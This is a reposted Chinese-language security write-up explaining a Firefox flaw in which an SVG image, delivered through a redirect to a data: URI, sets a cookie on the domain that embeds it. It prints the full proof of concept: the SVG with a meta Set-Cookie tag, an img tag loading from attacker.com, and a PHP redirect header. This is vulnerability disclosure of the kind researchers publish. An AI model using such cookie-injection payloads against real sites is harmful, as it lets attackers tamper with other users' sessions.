Web安全
首页 > 安全文摘 > Web安全> 正文

Firefox - SVG cross domain cookie vulnerability

我最近有了解到,浏览器允许使用 meta 标签来设置 cookie 。我不确定我是不是忘了这一特性,或者之前从来没使用过它。

作者:kong来源:paper.seebug.org|2016-12-10 13:13:29

SVG - 通过 img 标签设置跨域 cookie

我最近有了解到,浏览器允许使用 meta 标签来设置 cookie 。我不确定我是不是忘了这一特性,或者之前从来没使用过它。鉴于之前研究过 SVG ,我决定试一下。SVG 的标准不包括 meta 标签,但它支持 foreignobject 标签。

<foreignObject> 中的SVG元素允许包含外部 XML 命名空间,该命名空间的图形内容由不同的 user agent 绘制。

来自 mdn 的一个简单例子展示了如何在 SVG 文件中使用 XHTML 命名空间。

<foreignObject width="100" height="50"  
requiredExtensions="http://www.w3.org/1999/xhtml">  
<!-- XHTML content goes here -->  
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>
      </body>
</foreignObject>  

设置 cookie

我修改了以下示例代码,并将浏览器指向下面的 SVG:

<svg xmlns='http://www.w3.org/2000/svg'>  
<circle r='100'>  
</circle>  
<foreignObject>  
<html xmlns='http://www.w3.org/1999/xhtml'>  
<meta http-equiv='Set-Cookie' content='ppp=qqq' />  
</html>  
</foreignObject>  
</svg>  

宿主域现在有一个 cookie ppp=qqq。

下一步便是尝试一下了,如果另一个域在加载此 SVG 文件的话,将会发生什么呢:

// Domain: http://example.com

<!DOCTYPE html>  
<body>  
<img src="http://attacker.com/cookie.svg">  
</body>  

通过 meta 设置cookie
很遗憾,cookie 被设置为 attack.com ,而不是 example.com 。

重定向 + data uri

使它生效的最后一个技巧是使用 data: 协议处理程序和重定向。假设 example.com 域有以下代码。

<!DOCTYPE html>  
<body>  
<img src="http://attacker.com/cookie">  
</body>  

attacker.com 的服务器返回以下响应代码:

HTTP 302 Found  
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>  

注:如 php 可以使用以下代码:

header("Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='svg2=2222qqq' /></html></foreignObject></svg>");  

利用 data: 为宿主域设置 cookie
一旦我在 Firefox 浏览器中打开此测试用例,就会为 example.com 设置一个 Cookie 。这会为网页带来许多不同的漏洞,包括允许包含来自外部/第三方网站的图像。

在通过 firefox 团队调查这个问题期间,出现了另一个问题,公开后即可直接阅读:

https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20

目前还在确定该 bug 的奖励。

我必须感谢我的 Cure53 小伙伴,帮助我研究此漏洞(特别是 Masato)

【责任编辑:kong 】

分享:

安全快讯+更多

多少次,她说是在工作,但是诡异的第六感告诉我们,她在撒谎...
安识科技,是一家专注于账号安全、企业风险评估的技术型企业。旗下拥有基于云+端的自研产品多因素令牌、基于多重检测引擎的伏特漏洞扫描云平台等!
近日,国家信息安全漏洞共享平台(CNVD)收录了CNVD白帽子(ID:ayound)报送的Jackson框架enableDefaultTyping方法反序列化漏洞(CNVD-2017-04483)。
又公开了一波NSA黑客工具,可供下载;Word曝0day漏洞,打开文档就自动安装恶意程序;iOS 10.3.1高危WiFi芯片漏洞.
由上海GRCC公司主办,美国AutoHarvest协会、上海市信息服务业行业协会协办,由美国新思科技(Synopsys, Inc)、Green Hills Software, Inc.等联合赞助的2017 第二届中国汽车网络信息安全峰会于2月23日-24日在上海浦东顺利召开。